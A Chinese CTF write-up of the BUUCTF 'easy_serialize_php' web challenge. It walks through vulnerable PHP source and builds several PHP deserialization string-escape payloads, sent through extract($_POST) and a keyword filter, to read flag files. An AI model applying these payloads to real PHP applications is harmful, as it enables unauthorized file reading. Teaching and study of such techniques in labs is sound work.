BUUCTF - Web - easy_serialize_php

2024-02-11 16:58
文章标签 buuctf php web easy serialize

本文主要是介绍BUUCTF - Web - easy_serialize_php,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 源码
  • 分析
    • 知识点
  • payload
    • 其他解法
      • flagflag
      • 无数种解法
  • 总结

源码

<?php$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}

分析

$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}
  • GET方式接收f传参并赋给$function
  • 定义了一个filter()函数,它接收一个字符串并将phpflagphp5php4f1lg字符替换为空并返回
if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);
  • if语句清空$_SESSION
  • 定义两个$_SESSION的键值对,第二个是之前GET方式接收的f传参
  • extract()函数将变量从数组中导入到当前的符号集中,可以用它覆盖$_SESSION
if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
  • GET方式接收img_path并用base64、SHA1加密再赋给$_SESSION['img'];这里如果不传img的时候,会自动将guest_img.pngbase64加密并赋给img
$serialize_info = filter(serialize($_SESSION));
  • $_SESSION数组序列化后的字符串用filter()方法过滤并赋给$serialize_info
if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}
  • 如果?f=phpinfo,就会执行phpinfo()
  • 如果?f=show_img,就会将之前序列化后的$_SESSION反序列化,再将他的'img'的值base64解密后读入一个字符串中,最后用echo输出

  1. 都能分析出来但没啥思路,看一下phpinfo()
    请添加图片描述
    可以看到在页面底部加载了d0g3_f1ag.php,这可能就是flag,所以当$_SESSION['img']='d0g3_f1ag.php'的时候,可以拿到flag
  2. ?f=show_image的时候,可以拿到flag,但是要绕过

知识点

  • 字符逃逸
    在反序列化的时候,当花括号后仍有字符串,会被忽略掉
<?php$b = 'a:2:{s:4:"user";s:5:"guest";s:4:"flag";s:3:"asd";}qwe';
var_dump(unserialize($b));
?>/*
array(2) {'user' =>string(5) "guest"'flag' =>string(3) "asd"
}
*/
  • 在反序列化的过程中,如果前面写的n,就会向后面拿n个,写个例子感受一下
<?php$b = 'a:2:{s:4:"user";s:13:"guest";s:1:"a";s:4:"flag";s:3:"asd";}';
var_dump(unserialize($b));?>/*
array(2) {'user' =>string(13) "guest";s:1:"a"'flag' =>string(3) "asd"
}
*/

payload

  1. 想要拿到flag,img键对应的值就应该是d0g3_f1ag.php的base64编码后的值:ZDBnM19mMWFnLnBocA==;他的序列化后为:
<?php
$a = 'd0g3_f1ag.php';
$b = base64_encode($a);
$c['img'] = $b;
echo serialize($c);
# a:1:{s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  1. 当不传img的时候,他会自动将guest_img.png加密后赋给$_SESSION['img'],此时他序列化后为:
<?php
$a = 'guest_img.png';
$b = base64_encode($a);
$c['img'] = $b;
echo serialize($c);
# a:1:{s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
  1. 我们知道了传进去的一些字符串会被filter()过滤掉、反序列化时花括号后的会被忽略、固定的个数寻找机制,可以做一些有意思的事情:
    如果SESSION的键是phpflag的时候,就会被过滤而造成字符空缺,使得双引号包含其后的7个字符,我们只需要在适当的位置补上双引号,就可以完美闭合。
    不难看出,我们传POST先于给img键赋值:
    在这里插入图片描述
    我们可以构造这个字符数差,最终让花括号闭合掉s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";},而真正的img对应的值,是我们用POST传入的ZDBnM19mMWFnLnBocA==

构造如下:
$_SESSION['phpflag']=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
原本我们不传POST的序列化结果为:a:1:{s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
我们传的值会被序列化成:

<?php
$a['phpflag'] = ';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$a['img'] = 'Z3Vlc3RfaW1nLnBuZw==';
echo serialize($a);
# a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
  • 第一个键值对:“";s:48:”=>“1
  • 第二个键值对:“img”=>“ZDBnM19mMWFnLnBocA==

花括号后面的被忽略,将上述序列化后的字符串手动去掉phpflag,反序列化看一下:

<?php
$a = 'a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}';
var_dump(unserialize($a));
$b = unserialize($a);
echo base64_decode($b['img']);
/*
array(2) {'";s:48:' =>string(1) "1"'img' =>string(20) "ZDBnM19mMWFnLnBocA=="
}
d0g3_f1ag.php
*/

可以看到,img对应的已经成了d0g3_f1ag.php
在这里插入图片描述
页面上没有回显,看一下源码
在这里插入图片描述
提示说flag在/d0g3_fllllllag里,那就将此字符串加密传入_SESSION['phpflag']=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";},得到flag

其他解法

上面是前几天写的,可能说的不是很清楚,这里先总结一下:

extract($_POST);$_SESSION['img'] = base64_encode('guest_img.png');$serialize_info = filter(serialize($_SESSION));$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));

其实就是这么几句,让传一个POST;
它自动将错文件加密后赋值;
当我们GET传入相应值的时候他就对上述文件解密查看是否正确

那我们的思路就是借用extract($_POST)传入正确的加密后文件,再利用filter()过滤字符串的作用制造字符空缺,促成花括号闭合错误文件。

之前用的方法是过滤phpflag,实质就是过滤 7 个字符,那我们能不能过滤八个字符?

flagflag

写道这里,大概就知道phpflagphp5php4f1lg这五个是干嘛的了。凑字数。。。

这里凑八个字符数:

<?php
$a['flagflag'] = '";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$a['img'] = 'Z3Vlc3RfaW1nLnBuZw==';
echo serialize($a);# a:2:{s:8:"flagflag";s:49:"";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

过滤后:
第一个键值对:"";s:49:""=>"1"
第二个键值对:"img"=>"ZDBnM19mMWFnLnBocA=="

手动去掉这八个字符看一下

$a = 'a:2:{s:8:"";s:49:"";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}';
$b = unserialize($a);
var_dump($b);
echo base64_decode($b['img']);/*
array(2) {'";s:49:"' =>string(1) "1"'img' =>string(20) "ZDBnM19mMWFnLnBocA=="
}
d0g3_f1ag.php
*/

无数种解法

既然可以凑八个字符,可不可以凑11个?12个?

第八个是用引号凑得字符,那也可以写一堆引号嘛:

<?php
$a['flagflagflag'] = '""""";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$a['img'] = 'Z3Vlc3RfaW1nLnBuZw==';
echo serialize($a);# a:2:{s:12:"flagflagflag";s:53:"""""";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

手动去掉flagflag

$a = 'a:2:{s:12:"";s:53:"""""";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}';
$b = unserialize($a);
var_dump($b);
echo base64_decode($b['img']);/*
array(2) {'";s:53:"""""' =>string(1) "1"'img' =>string(20) "ZDBnM19mMWFnLnBocA=="
}
d0g3_f1ag.php
*/

总结

其实说是无数种解法,实质就是一种(算了不解释了,废话太多,上面都有):

<?php
// $a['flagflagflag'] = '""""";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
// $a['img'] = 'Z3Vlc3RfaW1nLnBuZw==';
// echo serialize($a);// $a = 'a:2:{s:12:"";s:53:"""""";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}';
// $b = unserialize($a);
// var_dump($b);
// echo base64_decode($b['img']);

这道题和烨师傅的ezPop一样绕绕的,但也是很牛逼的题,值得再次复现!

这篇关于BUUCTF - Web - easy_serialize_php的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/700324

相关文章

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

BUUCTF(34)特殊的 BASE64

使用pycharm时,如果想把代码撤销到之前的状态可以用 Ctrl+z 如果不小心撤销多了,可以用 Ctrl+Shift+Z 还原, 别傻傻的重新敲了 BUUCTF在线评测 (buuoj.cn) 查看字符串,想到base64的变表 这里用的c++的标准程序库中的string,头文件是#include<string> 这是base64的加密函数 std::string

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

9.8javaweb项目总结

1.主界面用户信息显示 登录成功后,将用户信息存储在记录在 localStorage中,然后进入界面之前通过js来渲染主界面 存储用户信息 将用户信息渲染在主界面上,并且头像设置跳转,到个人资料界面 这里数据库中还没有设置相关信息 2.模糊查找 检测输入框是否有变更,有的话调用方法,进行查找 发送检测请求,然后接收的时候设置最多显示四个类似的搜索结果

JavaWeb【day09】--(Mybatis)

1. Mybatis基础操作 学习完mybatis入门后,我们继续学习mybatis基础操作。 1.1 需求 需求说明: 根据资料中提供的《tlias智能学习辅助系统》页面原型及需求,完成员工管理的需求开发。 通过分析以上的页面原型和需求,我们确定了功能列表: 查询 根据主键ID查询 条件查询 新增 更新 删除 根据主键ID删除 根据主键ID批量删除

利用Django框架快速构建Web应用:从零到上线

随着互联网的发展,Web应用的需求日益增长,而Django作为一个高级的Python Web框架,以其强大的功能和灵活的架构,成为了众多开发者的选择。本文将指导你如何从零开始使用Django框架构建一个简单的Web应用,并将其部署到线上,让世界看到你的作品。 Django简介 Django是由Adrian Holovaty和Simon Willison于2005年开发的一个开源框架,旨在简

web群集--nginx配置文件location匹配符的优先级顺序详解及验证

文章目录 前言优先级顺序优先级顺序(详解)1. 精确匹配(Exact Match)2. 正则表达式匹配(Regex Match)3. 前缀匹配(Prefix Match) 匹配规则的综合应用验证优先级 前言 location的作用 在 NGINX 中,location 指令用于定义如何处理特定的请求 URI。由于网站往往需要不同的处理方式来适应各种请求,NGINX 提供了多种匹

PHP原理之内存管理中难懂的几个点

PHP的内存管理, 分为俩大部分, 第一部分是PHP自身的内存管理, 这部分主要的内容就是引用计数, 写时复制, 等等面向应用的层面的管理. 而第二部分就是今天我要介绍的, zend_alloc中描写的关于PHP自身的内存管理, 包括它是如何管理可用内存, 如何分配内存等. 另外, 为什么要写这个呢, 因为之前并没有任何资料来介绍PHP内存管理中使用的策略, 数据结构, 或者算法. 而在我们

php中json_decode()和json_encode()

1.json_decode() json_decode (PHP 5 >= 5.2.0, PECL json >= 1.2.0) json_decode — 对 JSON 格式的字符串进行编码 说明 mixed json_decode ( string $json [, bool $assoc ] ) 接受一个 JSON 格式的字符串并且把它转换为 PHP 变量 参数 json